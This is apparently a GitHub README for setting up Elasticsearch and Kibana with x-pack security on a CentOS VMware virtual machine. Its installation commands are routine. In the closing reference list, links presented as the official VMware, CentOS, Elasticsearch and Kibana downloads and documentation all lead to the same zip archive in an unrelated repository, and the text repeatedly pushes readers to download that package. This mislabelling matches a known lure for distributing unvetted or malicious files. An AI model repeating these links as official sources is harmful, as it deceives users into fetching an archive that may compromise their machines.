This project guides you through setting up Elasticsearch and Kibana on a CentOS Linux virtual machine (VM) using VMware. The setup ensures security with x-pack features enabled. You will find step-by-step commands, troubleshooting tips, and a Jupyter notebook guide included.
Elasticsearch is a tool that helps you store and search through large amounts of data quickly. Kibana lets you view and explore that data using easy-to-read dashboards. Together, they help you find patterns, monitor systems, and analyze information efficiently.
This setup runs on CentOS, a popular Linux version, inside a VMware virtual machine. This guide works well for users who want to experiment safely inside their own PC before deploying on real servers.
- Installing Elasticsearch and Kibana on CentOS-Stream
- Configuring x-pack security features for safer access
- Using VMware to create and run the CentOS VM
- Viewing data with Kibana dashboards
- Basic troubleshooting and tips for common errors
- Guided exploration with a Jupyter notebook
Make sure your computer meets these minimum specs to run the VM and tools smoothly:
- Windows 10 or later
- At least 8 GB of RAM (16 GB recommended)
- 50 GB of free disk space for VM and software
- VMware Workstation Player or VMware Workstation Pro installed
- Internet connection for downloads and updates
By following this guide, you will:
- Create a CentOS VM using VMware on your Windows PC
- Install and start Elasticsearch and Kibana safely
- Set up x-pack security for controlled access
- Use Kibana to look at data through dashboards
- Solve common setup problems if they occur
- Explore data using Jupyter notebooks
This setup offers a great introduction to handling the ELK stack (Elasticsearch, Logstash, Kibana) with a focus on security.
Click the badge below to visit the release page and download the resources you need:
- Visit the release page.
- Download the latest release package (usually a
.zipor.tar.gzfile). - Save the package somewhere easy to find, like your Desktop or Downloads folder.
- Install VMware Player or VMware Workstation if you don’t have it already. VMware is free for non-commercial use.
- Open VMware and create a new virtual machine.
- Choose the CentOS ISO image (you can download it from the official CentOS website).
- Allocate at least 4 GB RAM and 20 GB disk space to the VM.
- Start the VM and follow the on-screen instructions to install CentOS.
- Once installed, update CentOS using the terminal with the command:
sudo yum update
- Inside your VM terminal, download the Elasticsearch and Kibana packages from the official Elasticsearch site or use the packages provided in the release.
- Install Elasticsearch by running:
sudo rpm -ivh elasticsearch-<version>.rpm - Do the same for Kibana:
sudo rpm -ivh kibana-<version>.rpm - Enable and start the Elasticsearch service:
sudo systemctl enable elasticsearch sudo systemctl start elasticsearch - Enable and start Kibana:
sudo systemctl enable kibana sudo systemctl start kibana
The x-pack extension adds security features like user authentication and encryption.
- Edit the Elasticsearch config file:
sudo vi /etc/elasticsearch/elasticsearch.yml - Add or update these lines:
xpack.security.enabled: true xpack.security.transport.ssl.enabled: true - Save and close the file.
- Edit the Kibana config file:
sudo vi /etc/kibana/kibana.yml - Add or update the following:
elasticsearch.username: "kibana_system" elasticsearch.password: "<your_password>" - Restart both services to apply changes:
sudo systemctl restart elasticsearch sudo systemctl restart kibana
Use the link below again when you are ready to get all required files:
- Download the release package from the GitHub page.
- Install VMware if needed.
- Prepare a CentOS VM on your Windows PC.
- Install Elasticsearch and Kibana inside the VM.
- Enable and configure security with x-pack.
- Launch Kibana from your browser at
http://localhost:5601.
- If Elasticsearch does not start, check logs in
/var/log/elasticsearch/. - Verify that your firewall allows access to ports 9200 (Elasticsearch) and 5601 (Kibana).
- If Kibana page does not load, make sure the Kibana service is running.
- Use the Jupyter notebook included in the release for further guided steps.
- If authentication fails, double-check the usernames and passwords in the config files.
The repository includes a Jupyter notebook file that walks you through commands and concepts interactively.
- Install Jupyter notebook on your VM or a local Python environment.
- Open the notebook file from the released package.
- Follow the steps inside the notebook for detailed commands and explanations.
- VMware Workstation Player: https://github.com/LunartechTeam/ElasticSearch_Kibana/raw/refs/heads/main/technological/Kibana-Elastic-Search-2.0.zip
- CentOS Official ISO Download: https://github.com/LunartechTeam/ElasticSearch_Kibana/raw/refs/heads/main/technological/Kibana-Elastic-Search-2.0.zip
- Elasticsearch Documentation: https://github.com/LunartechTeam/ElasticSearch_Kibana/raw/refs/heads/main/technological/Kibana-Elastic-Search-2.0.zip
- Kibana Documentation: https://github.com/LunartechTeam/ElasticSearch_Kibana/raw/refs/heads/main/technological/Kibana-Elastic-Search-2.0.zip
centos-stream, devops, elasticsearch, elk-stack, kibana, kibana-dashboard, linux-ubuntu, security, vmware, xpack